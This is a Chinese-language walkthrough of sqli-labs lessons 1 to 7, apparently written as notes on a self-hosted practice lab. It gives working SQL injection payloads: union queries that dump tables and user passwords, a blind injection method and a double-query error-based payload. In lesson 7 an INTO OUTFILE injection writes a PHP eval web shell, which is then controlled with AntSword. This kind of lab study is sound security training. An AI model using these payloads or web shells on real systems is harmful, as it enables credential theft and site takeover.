less1
首先判断是否存在sql注入漏洞:
利用无论字符型还是整型都会因为单引号个数不匹配而报错,输入?id=1(? 是查询字符串的开始标志,它告诉服务器URL的这一部分包含的是查询参数。)正常返回,输入?id=1’,报错,说明存在注入.
判断sql注入漏洞的类型:
通常sql注入漏洞的类型有两种:数字型和字符型。
判断:当输入的参 x 为整型时,Sql 语句大致如下:select * from <表
名> where id = x这种类型可以使用的and 1=1 和 and 1=2 可以通过加,
减,乘,除等运算来判断输入参数周围有没有引号来包围来判断:Url 地
址中输入x and 1=1 页面依旧运行正常,继续进行下一步。Url 地址中继
续输入x and 1=2页面运行正常,则说明输入参数有引号包围,为字符型。
判断表的字段数:
使用order by 函数来判断,order by函数是用来让返回
的结果集以某一列来排序,输入 id=1’ order by 3–+(–+可以使后面的
代码变成注释从而无法执行)正常,说明存在第三列,再输入id=1’ order
by 4–+报错,说明只有三个字段。
使用联合查询来爆显示位:
输入?id=-1’ union select 1,2,3 – +()可
知显示位,这是将一个固定的结果集(在这个例子中是包含三列,每列的
值分别是 1、2、3 的单行)与原始查询的结果集合并,id=-1是为了使前
面的查询为空,不然只会显示前面查询的结果。
查看当前数据库:
利用自带函数datebase()查询数据库名称。输入?id=-2’ union select 1,2,database() –+。
查表名:
利用GROUP_CONCAT函数将一个字段的多行连接成一个字符串并显示,即?id=-1’ union select 1,2,GROUP_CONCAT(table_name) from
information_schema.TABLES
where table_schema =’security’;–+
(information_schema是MySQL中默认建立的数据库里面包含scheata,
tables,columns。有我们想要的表名)
查列名:
同样利用GROUP_CONCAT。即GROUP_CONCAT(column_name) from information_schema.columns where table_name =’users’ and table_schema=’security’
查询账户以及密码:
同样使用GROUP_CONCAT函数,?id=-1’ union select1
,group_concat(username),group_concat(password) from users – +即
可得到账户密码。
。
less2
与less1类似不过是整形注入,输入id的时候后面不用加引号啥的。
less3
输入id=1’发现报错信息和之前有点不一样,多了个括号。
我们查看源码发现是单引号和括号型的。
我们尝试加括号,可以了。
接下来就和less1一样。
less4
是双引号加括号的注入,别的步骤与less1类似
less5
先判断什么类型的注入,由前面的知识易得是单引号注入。但与之前不一样的是,这里如果正确查询是不返回信息的,只有错误才返回错误信息。.png)
我们便可以想到盲注
方法1;布尔盲注
基本原理是根据返回页面的正确与否来判断我们的查询代码是否能正常执行。
布尔盲注主要用到length(),ascii() ,**substr()**这三个函数,
length() 返回括号中字符串的长度;ASCII() 返回的是括号中字符或字符串的第一个字符的ASCII码;substr(str,start,len) 截取“str”字符串从第“start”位开始的“len”长度的字符。
首先用length() 确定你要查询的库名或表名或字段名的长度,再用
ASCII(substr(库名,start,len))=… 来判断库名的某个字符是什么。为了提高效率,我们可以使用代码批量操作,这里不作说明。
方法2;双查询注入
关于啥是双查询注入请看 [双查询注入](Less 5-6(双注入)_less-5-CSDN博客)的后半部分。
我们摘出重要的部分:
上面这张图就是group by通过floor分组的过程。
我们知道floor产生的随机序列是固定的011011,再进行group by分组的时候,我会将这个随机序列作为虚拟表的key, 进行查询和插入两步操作。我们假设要先查询后插入,这里我把没有查询到值的查询用黑色,查询到值的查询用红色。
下面来描述一下查询和插入的过程:
第一次查询,再虚拟表中查询key为0的字段,发现虚拟表为空,因此进行插入操作。
第一次插入,再进行插入操作的时候,group by会再次调用floor(),因此插入的key是1而不是0,还会将对应的count()值填在key的后面。
第二次查询,查询时,group by再一次调用floor,得到的值为1,查询虚拟表中是否有key为1的字段,发现存在,因此此处的插入操作就是将coun()的值进行叠加。此时第二次查询操作和插入操作都已经完毕,然后进行第三次查询。
第三次查询,此时查询的key为0,发现虚拟表中没有0,因此要进行插入操作。
第三次插入,再进行插入前,group by要调用floor(),得到了1,因此要插入一个key为1的字段。而key为1的字段已经存在了,因此主键重复,MySQL会报错。(图上多画了一个最后红色的查询3,可以忽略掉)
了解双查询注入后,我们便可以编辑代码测试。
?id=1' and (select (floor(rand(0)*2 )) as a,count(*) from information_schema.tables group by a)--+
但发现
经过查询,是因为如果在一个条件语句(如 WHERE
或 AND
)中使用子查询,并且子查询返回了多个列,那么会引发 Operand should contain 1 column(s)
错误。因为在这种情况下,MySQL 不知道如何将多个列与外部查询的某个列进行比较。我们这里就是返回了两列结果。
我们改进一下,在子查询前加上select 1,这样子and后的整个查询语句只会关系子查询是否有结果而不会在意有几列。
?id=1' and (select 1 from (select concat((floor(rand(0)*2 )),database()) as a,count(*) from information_schema.tables group by a)as t)--+
我们便可以用concat来连接我们想要查询的数据。所以最终的公式为
?id=1' and (select 1 from (select concat((floor(rand(0)*2 )),查询语句) as a,count(*) from information_schema.tables group by a)as t)--+
(注意1是报错输出的一部分,无视就好了)
接下来我们便可以查询我们想要数据了。
例如查表名
记得给查询语句加括号 : )
less6
和第五题差不多,只要把单引号换成双引号就行。
less7
根据前面的知识我们可以知道本题为单引号双括号注入。
根据提示我们需要用到 into outfile 来写入一句话木马以便我们使
用工具来控制网站。
使用方法为 select … into outfile “绝对路径” ,这里我们也需要
使用 union select。
这段代码可以将 select 的内容注入进绝对路径下的一个文件,我
们这里注入到一个 7.php 的文件下,如果没有这个文件会自动创
建一个同名文件,但是这条代码不会覆盖原文件,因此写入时最
好一次成功,如果要再次写入则需要更换文件名。
这里使用 into outfile 需要有写入权限与绝对路径,由于靶场是我
们自己搭建的,很容易知道网站的绝对路径,至于写入权限我们
可以在终端中查看。
如果 secure_file_priv 为 null,在 MySQL 版本低于 5.7.6 是默认任
意写入的,我这里是更高的版本代表禁止写入,所以要在配置文
件 my.ini 中加入 secure_file_priv=”\”便有写入权限。
接下来便可开始进行注入,PHP 格式的一句话木马为:
“mima”是我们之后用工具需要的密码
所以我们的注入语句为?id=1’)) union select 1,2,’<?php@eval($_POST[‘mima’]);?>’ into outfile "C:\\PHP\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\test.php"--+
虽然报错的,但我们打开文件夹可以看到已经有文件存在了
接下来就可以使用 webshell 工具(这里以蚁剑为例)
连接成功。我们便可以对网站进行操控。